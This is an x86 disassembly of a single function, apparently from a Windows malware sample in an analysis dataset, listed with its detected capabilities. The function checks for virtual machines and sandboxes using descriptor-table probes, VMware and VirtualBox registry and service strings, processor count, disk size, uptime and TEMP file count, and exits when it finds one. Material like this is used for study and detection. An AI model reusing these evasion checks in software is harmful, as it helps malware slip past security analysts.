Function at 0x10009060
Capabilities:
Enumerate files on windows
Enumerate services
Get disk size
Query environment variable
Query or enumerate registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001f618
mov eax, dword fs:[0]
push eax
sub esp, 0x1bc
mov eax, dword [0x1002d00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.10008dc0
test al, al
jne 0x1000914f
sldt word [ebp - 0x54]
cmp word [ebp - 0x54], 0
jne 0x1000914f
sgdt [ebp - 0x5c]
mov eax, dword [ebp - 0x5a]
and eax, 0xff000000
cmp eax, 0xff000000
je 0x1000914f
mov dword [ebp - 0x54], 0
str word [ebp - 0x54]
mov eax, dword [ebp - 0x54]
test al, al
jne 0x100090da
shr eax, 8
cmp al, 0x40
je 0x1000914f
lea eax, [ebp - 0x54]
mov dword [ebp - 0x64], 0x3f
push eax
push 0x20019
push 0
push str.HARDWAREDESCRIPTIONSystemBIOS_
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10009141
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x50]
push eax
push 0
push 0
push str.SystemManufacturer
push dword [ebp - 0x54]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x50]
push str.VMWARE
push eax
call dword [0x1002e268]
add esp, 8
push dword [ebp - 0x54]
test eax, eax
je 0x1000913b
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1000914f
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.10008c70
call fcn.10008d50
test eax, eax
je 0x10009157
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.10008f50
mov esi, eax
call dword [0x1002e134]
mov ecx, eax
call fcn.10008e70
xor ecx, ecx
test esi, esi
sete cl
cmp ecx, eax
jne 0x1000917e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x54], 0
mov eax, dword fs:[0x18]
mov eax, dword ds:[eax + 0x30]
mov eax, dword ds:[eax + 0x64]
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 4
jge 0x100091a4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.100086d0
push 0
test eax, eax
je 0x100091b5
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
push 3
push 0
push 1
push connect
push str..PhysicalDrive0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100091f0
push eax
call dword [0x1002e188]
call dword [0x1002e194]
cmp eax, 0x36ee80
jae 0x1000923a
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
lea eax, [ebp - 0x5c]
push eax
push 8
lea eax, [ebp - 0x68]
push eax
push 0
push 0
push 0x7405c
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push esi
call dword [0x1002e188]
push 0
push 0x40000000
push dword [ebp - 0x64]
push dword [ebp - 0x68]
call fcn.1001eff0
test edx, edx
jg 0x100091db
jl 0x10009232
cmp eax, 0xfa
jae 0x100091db
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 4
push 0
push 0
call dword [0x1002e21c]
mov ebx, eax
test ebx, ebx
je 0x1000914f
push 0x10000
push 0x40
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x64], 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x5c]
push eax
push 0x10000
push esi
push 3
push 0x30
push ebx
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
test eax, eax
je 0x1000914f
xor edi, edi
cmp dword [ebp - 0x54], edi
jbe 0x10009309
add esi, 4
push str.VMware_Tools
push dword [esi]
call dword [0x1002e268]
add esp, 8
test eax, eax
jne 0x1000914f
push str.VMware
push dword [esi]
call fcn.1000e030
add esp, 8
test eax, eax
jne 0x1000914f
push str.Virtual_Machine
push dword [esi]
call fcn.1000e030
add esp, 8
test eax, eax
jne 0x1000914f
push str.VirtualBox_Guest
push dword [esi]
call fcn.1000e030
add esp, 8
test eax, eax
jne 0x1000914f
inc edi
add esi, 0x24
cmp edi, dword [ebp - 0x54]
jb 0x100092a3
push ebx
call dword [0x1002e228]
call fcn.10008ab0
test eax, eax
je 0x10009321
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x104
xor edi, edi
call fcn.10012fc9
add esp, 4
mov esi, eax
push 0x104
push esi
push str.TEMP
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov ecx, esi
mov dword [ebp - 0x70], edi
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10009356
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x80]
call fcn.1000b2d0
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x6c]
mov eax, edx
mov ecx, dword [ebp - 0x70]
sub eax, ecx
push 2
push 0x10029384
cmp eax, 2
jb 0x100093a7
cmp edx, 0x10
lea esi, [ebp - 0x80]
lea eax, [ecx + 2]
cmovae esi, dword [ebp - 0x80]
add esi, ecx
mov dword [ebp - 0x70], eax
push esi
call fcn.1000e9d0
add esp, 0xc
mov byte [esi + 2], 0
jmp 0x100093b8
mov byte [ebp - 0x5a], 0
lea ecx, [ebp - 0x80]
push dword [ebp - 0x5a]
push 2
call fcn.1000b640
cmp dword [ebp - 0x6c], 0x10
lea ecx, [ebp - 0x1c0]
lea eax, [ebp - 0x80]
cmovae eax, dword [ebp - 0x80]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x100094e5
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
lea eax, [ebp - 0x1c0]
inc edi
push eax
push esi
call ebx
test eax, eax
jne 0x100093e2
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp edi, 0x1e
jl 0x100094e5
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x6c]
cmp edx, 0x10
jb 0x1000943c
mov ecx, dword [ebp - 0x80]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10009432
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10009539
push edx
push ecx
call fcn.1000c127
add esp, 8
push 0xff
call fcn.10008af0
add esp, 4
test eax, eax
je 0x10009455
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x54], 0
xor eax, eax
push edx
sidt [esp - 2]
pop edx
nop
mov dword [ebp - 0x54], edx
cmp dword [ebp - 0x54], 0xd0000000
mov ecx, 1
cmova eax, ecx
push edx
sgdt [esp - 2]
pop edx
nop
mov dword [ebp - 0x54], edx
cmp dword [ebp - 0x54], 0xd0000000
jbe 0x1000948d
inc eax
test eax, eax
je 0x10009499
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.10008b10
test eax, eax
je 0x100094aa
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x1c4], 0
str word [ebp - 0x1c4]
mov eax, dword [ebp - 0x1c4]
test al, al
jne 0x100094d4
shr eax, 8
cmp al, 0x40
jne 0x100094d4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.10008bb0
test eax, eax
je 0x1000951d
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, dword [ebp - 0x6c]
cmp edx, 0x10
jb 0x10009515
mov ecx, dword [ebp - 0x80]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1000950b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000953e
push edx
push ecx
call fcn.1000c127
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000c111
mov esp, ebp
pop ebp
ret
call fcn.100131df
call fcn.100131df
int3